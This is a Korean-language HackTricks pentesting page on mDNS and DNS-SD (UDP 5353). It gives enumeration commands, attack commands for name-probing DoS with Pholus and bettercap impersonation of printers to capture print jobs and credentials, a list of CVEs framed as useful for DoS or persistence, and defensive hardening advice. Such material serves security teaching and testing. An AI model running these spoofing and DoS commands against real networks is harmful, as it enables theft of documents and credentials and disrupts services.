5353/UDP Multicast DNS (mDNS) and DNS-SD
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
Multicast DNS (mDNS)는 유니캐스트 DNS 서버 없이 로컬 링크 내에서 DNS와 유사한 이름 해석과 서비스 검색을 가능하게 합니다. 이 프로토콜은 UDP/5353과 멀티캐스트 주소 224.0.0.251 (IPv4) 및 FF02::FB (IPv6)를 사용합니다. DNS Service Discovery (DNS-SD, 일반적으로 mDNS와 함께 사용됨)는 PTR, SRV 및 TXT 레코드를 통해 서비스를 열거하고 설명하는 표준화된 방법을 제공합니다.
PORT STATE SERVICE
5353/udp open zeroconf
공격에서 자주 활용할 주요 프로토콜 세부사항:
- .local 존의 이름은 mDNS를 통해 해석됩니다.
- QU (Query Unicast) 비트는 멀티캐스트 질문에도 unicast 응답을 요청할 수 있습니다.
- 구현체는 로컬 링크에서 출발하지 않은 패킷을 무시해야 하지만, 일부 스택은 여전히 이를 수락합니다.
- Probing/announcing은 호스트/서비스 이름의 고유성을 강제합니다; 여기에 간섭하면 DoS/“name squatting” 상태를 만들 수 있습니다.
DNS-SD 서비스 모델
서비스는 .local 아래에서 _
네트워크 탐색 및 열거
- nmap 대상 스캔 (호스트에서 직접 mDNS):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap 브로드캐스트 발견 (세그먼트를 리스닝하여 모든 DNS-SD 타입/인스턴스 열거):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
- Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
팁: 일부 브라우저/WebRTC는 로컬 IP를 은닉하기 위해 일시적 mDNS 호스트명을 사용합니다. 네트워크에서 random-UUID.local 후보를 보면, mDNS로 해석하여 로컬 IP로 피벗하세요.
공격
mDNS 이름 probing 간섭 (DoS / name squatting)
프로빙 단계에서 호스트는 이름의 고유성을 확인합니다. 스푸핑된 충돌로 응답하면 호스트는 새 이름을 선택하거나 실패하게 됩니다. 이는 서비스 등록 및 검색을 지연시키거나 차단할 수 있습니다.
Example with Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
서비스 스푸핑 및 사칭 (MitM)
광고되는 DNS-SD 서비스를(프린터, AirPlay, HTTP, 파일 공유)를 사칭하여 클라이언트를 당신에게 연결되도록 유도하세요. 특히 다음에 유용합니다:
- 문서를 캡처하려면 _ipp._tcp 또는 _printer._tcp를 spoofing하세요.
- 클라이언트를 HTTP/HTTPS 서비스로 유도하여 tokens/cookies를 수집하거나 payloads를 전달하세요.
- Windows 클라이언트가 auth를 협상할 때 NTLM relay techniques와 결합하여 spoofed services를 이용하세요.
With bettercap’s zerogod module (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
최근 구현 문제 메모 (실무에서 DoS/지속성에 유용)
- Avahi reachable-assertion 및 D-Bus crash 버그(2023)는 Linux 배포판에서 avahi-daemon을 종료시켜(예: CVE-2023-38469..38473, CVE-2023-1981) 재시작 전까지 대상 호스트의 서비스 검색을 중단시킬 수 있습니다.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303)는 인접한 WLAN 클라이언트가 조작된 mDNS를 대량 전송하도록 하여 WLC CPU 사용량을 급증시키고 AP 터널을 끊게 만들 수 있습니다 — 실무에서 클라이언트 강제 로밍이나 컨트롤러 리셋이 필요할 때 유용합니다.
- Apple mDNSResponder logic error DoS (CVE-2024-44183)는 샌드박스된 로컬 프로세스가 Bonjour를 크래시시켜 Apple 엔드포인트에서 서비스 게시/조회가 잠시 중단되게 할 수 있습니다; 현재 iOS/macOS 릴리스에서 패치되었습니다.
- Apple mDNSResponder correctness issue (CVE-2025-31222)은 mDNSResponder를 통한 로컬 권한 상승을 허용했으며, 관리되지 않는 Mac/iPhone에서 지속성 확보에 유용했습니다; 최근 iOS/macOS 업데이트에서 수정되었습니다.
Browser/WebRTC mDNS 고려사항
모던 Chromium/Firefox는 호스트 후보를 무작위 mDNS 이름으로 난독화합니다. Chrome 정책 WebRtcLocalIpsAllowedUrls를 밀어넣거나(chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/Edge 동등 옵션을 토글) ICE가 mDNS 대신 호스트 후보를 노출하도록 하면 관리되는 엔드포인트에서 LAN IP를 다시 노출시킬 수 있습니다; 설정은 HKLM\Software\Policies\Google\Chrome를 통해 적용됩니다.
사용자가 수동으로 보호 기능을 비활성화하면(웹RTC 문제 해결 가이드에서 흔함) 브라우저가 다시 일반 호스트 후보를 광고하기 시작하고, 이는 mDNS 또는 ICE 시그널링을 통해 캡처하여 호스트 발견을 가속화할 수 있습니다.
방어 고려사항 및 OPSEC
- 세그먼트 경계: mDNS gateway가 명시적으로 필요한 경우를 제외하고 224.0.0.251/FF02::FB를 보안 존 간에 라우팅하지 마세요. discovery를 브리지해야 한다면 허용 목록과 속도 제한을 우선 사용하세요.
- Windows 엔드포인트/서버:
- mDNS를 통한 이름 해석을 완전히 비활성화하려면 레지스트리 값을 설정하고 재부팅하세요:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- 관리되는 환경에서는 기본 제공되는 “mDNS (UDP-In)” Windows Defender Firewall 규칙(적어도 도메인 프로파일에서)을 비활성화하여 수신 mDNS 처리를 방지하되 홈/로밍 기능은 유지하세요.
- 최신 Windows 11 빌드/GPO 템플릿에서는 정책 “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol”을 사용하고 Disabled로 설정하세요.
- Linux (Avahi):
- 필요하지 않을 때는 퍼블리싱을 잠그세요:
/etc/avahi/avahi-daemon.conf에서disable-publishing=yes로 설정하고allow-interfaces=/deny-interfaces=로 인터페이스를 제한하세요. check-response-ttl=yes를 고려하고, 엄격히 필요하지 않다면enable-reflector=yes는 피하세요; 반사(reflecting) 시에는reflect-filters=허용 목록을 사용하는 것이 좋습니다.- macOS: 특정 서브넷에서 Bonjour 검색이 필요하지 않다면 호스트/네트워크 방화벽에서 수신 mDNS를 제한하세요.
- 모니터링:
_services._dns-sd._udp.local쿼리의 비정상적 급증이나 중요한 서비스의 SRV/TXT의 급격한 변경이 감지되면 경보를 설정하세요; 이는 스푸핑 또는 서비스 사칭의 지표입니다.
도구 빠른 참조
- nmap NSE:
dns-service-discoveryandbroadcast-dns-service-discovery. - Pholus: active scan, reverse mDNS sweeps, DoS and spoofing helpers.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).
Spoofing/MitM
이 서비스 상에서 수행할 수 있는 가장 흥미로운 공격은 클라이언트와 실제 서버 간 통신에서 MitM을 수행하는 것입니다. 프린터와의 통신을 MitM하여 민감한 파일을 획득하거나 Windows 인증 같은 자격증명을 얻을 수 있습니다.
자세한 내용은 다음을 참조하세요:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
참고자료
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
- Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory
- Rapid7 advisory for Apple mDNSResponder CVE-2024-44183
- Rapid7 writeup of Apple mDNSResponder CVE-2025-31222
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


